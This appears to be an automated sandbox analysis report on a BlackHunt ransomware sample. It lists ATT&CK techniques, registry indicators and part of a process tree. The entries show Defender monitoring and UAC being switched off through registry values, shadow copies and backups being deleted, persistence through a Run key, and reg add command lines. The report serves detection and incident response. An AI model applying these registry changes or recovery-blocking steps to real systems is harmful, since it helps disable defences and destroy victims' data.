a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c

Data Destruction

T1485

pid	Process
5160	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
6096	bcdedit.exe
2988	bcdedit.exe

Renames multiple (404) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3052	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	cmd.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\B:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\R:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\U:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\K:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\V:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\M:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\N:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\E:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\I:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\H:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\S:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\Z:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\T:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\O:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\A:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\L:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\J:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\Q:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\Y:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\P:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\G:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\X:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\W:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\History.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fy.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\id.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\dotnet\swidtag\Microsoft Windows Desktop Runtime - 8.0.0 (x64).swidtag	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfxswt.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\java.security	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\directshow.md	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lt.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libxml2.md	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\santuario.md	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\7z.sfx	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eo.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\currency.data	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xerces.md	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\joni.md	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\relaxngcc.md	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sa.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\psfontj2d.properties	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sl.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\readme.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\cldrdata.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\invalid32x32.gif	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\dotnet\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\dotnet\shared\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javacpl.cpl	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_ReadMe.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\calendars.properties	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\dotnet\swidtag\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxslt.md	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\lcms.md	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\US_export_policy.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\README.html	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\jvm.cfg	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\PYCC.pf	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_ReadMe.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\relaxngdatatype.md	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xerces.md	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages.properties	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightItalic.ttf	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jvisualvm.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\freebxml.md	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\GRAY.pf	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3692	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3772	vssadmin.exe
5576	vssadmin.exe
5560	vssadmin.exe
5508	vssadmin.exe
212	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeRestorePrivilege	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeBackupPrivilege	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeTakeOwnershipPrivilege	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeAuditPrivilege	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeSecurityPrivilege	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeIncBasePriorityPrivilege	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Token: SeBackupPrivilege	5908	vssvc.exe
Token: SeRestorePrivilege	5908	vssvc.exe
Token: SeAuditPrivilege	5908	vssvc.exe
Token: SeBackupPrivilege	3964	wbengine.exe
Token: SeRestorePrivilege	3964	wbengine.exe
Token: SeSecurityPrivilege	3964	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2148 wrote to memory of 1584	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	92
PID 2148 wrote to memory of 1584	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	92
PID 2148 wrote to memory of 1412	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	95
PID 2148 wrote to memory of 1412	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	95
PID 2148 wrote to memory of 2732	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	179
PID 2148 wrote to memory of 2732	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	179
PID 2148 wrote to memory of 1496	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	191
PID 2148 wrote to memory of 1496	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	191
PID 2148 wrote to memory of 4736	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	98
PID 2148 wrote to memory of 4736	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	98
PID 2148 wrote to memory of 2004	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	102
PID 2148 wrote to memory of 2004	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	102
PID 2148 wrote to memory of 3080	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	104
PID 2148 wrote to memory of 3080	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	104
PID 2148 wrote to memory of 2440	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	103
PID 2148 wrote to memory of 2440	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	103
PID 2148 wrote to memory of 4836	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	108
PID 2148 wrote to memory of 4836	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	108
PID 2148 wrote to memory of 2964	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	109
PID 2148 wrote to memory of 2964	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	109
PID 1584 wrote to memory of 4280	1584	cmd.exe	169
PID 1584 wrote to memory of 4280	1584	cmd.exe	169
PID 4736 wrote to memory of 4820	4736	cmd.exe	199
PID 4736 wrote to memory of 4820	4736	cmd.exe	199
PID 1412 wrote to memory of 3188	1412	cmd.exe	116
PID 1412 wrote to memory of 3188	1412	cmd.exe	116
PID 2732 wrote to memory of 4704	2732	cmd.exe	114
PID 2732 wrote to memory of 4704	2732	cmd.exe	114
PID 2148 wrote to memory of 1896	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	113
PID 2148 wrote to memory of 1896	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	113
PID 2148 wrote to memory of 3828	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	118
PID 2148 wrote to memory of 3828	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	118
PID 2148 wrote to memory of 628	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	121
PID 2148 wrote to memory of 628	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	121
PID 2148 wrote to memory of 3916	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	123
PID 2148 wrote to memory of 3916	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	123
PID 2148 wrote to memory of 3180	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	125
PID 2148 wrote to memory of 3180	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	125
PID 1496 wrote to memory of 4864	1496	Conhost.exe	128
PID 1496 wrote to memory of 4864	1496	Conhost.exe	128
PID 2148 wrote to memory of 1588	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	126
PID 2148 wrote to memory of 1588	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	126
PID 2148 wrote to memory of 3500	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	127
PID 2148 wrote to memory of 3500	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	127
PID 2148 wrote to memory of 3100	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	131
PID 2148 wrote to memory of 3100	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	131
PID 2148 wrote to memory of 3992	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	133
PID 2148 wrote to memory of 3992	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	133
PID 2148 wrote to memory of 4840	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	132
PID 2148 wrote to memory of 4840	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	132
PID 2148 wrote to memory of 2988	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	138
PID 2148 wrote to memory of 2988	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	138
PID 3080 wrote to memory of 2000	3080	cmd.exe	136
PID 3080 wrote to memory of 2000	3080	cmd.exe	136
PID 2148 wrote to memory of 4304	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	141
PID 2148 wrote to memory of 4304	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	141
PID 2148 wrote to memory of 4188	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	140
PID 2148 wrote to memory of 4188	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	140
PID 2004 wrote to memory of 5100	2004	cmd.exe	142
PID 2004 wrote to memory of 5100	2004	cmd.exe	142
PID 2148 wrote to memory of 2804	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	146
PID 2148 wrote to memory of 2804	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	146
PID 2148 wrote to memory of 1428	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	145
PID 2148 wrote to memory of 1428	2148	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe	145

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
"C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:4280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3188
- C:\Windows\System32\cmd.exe
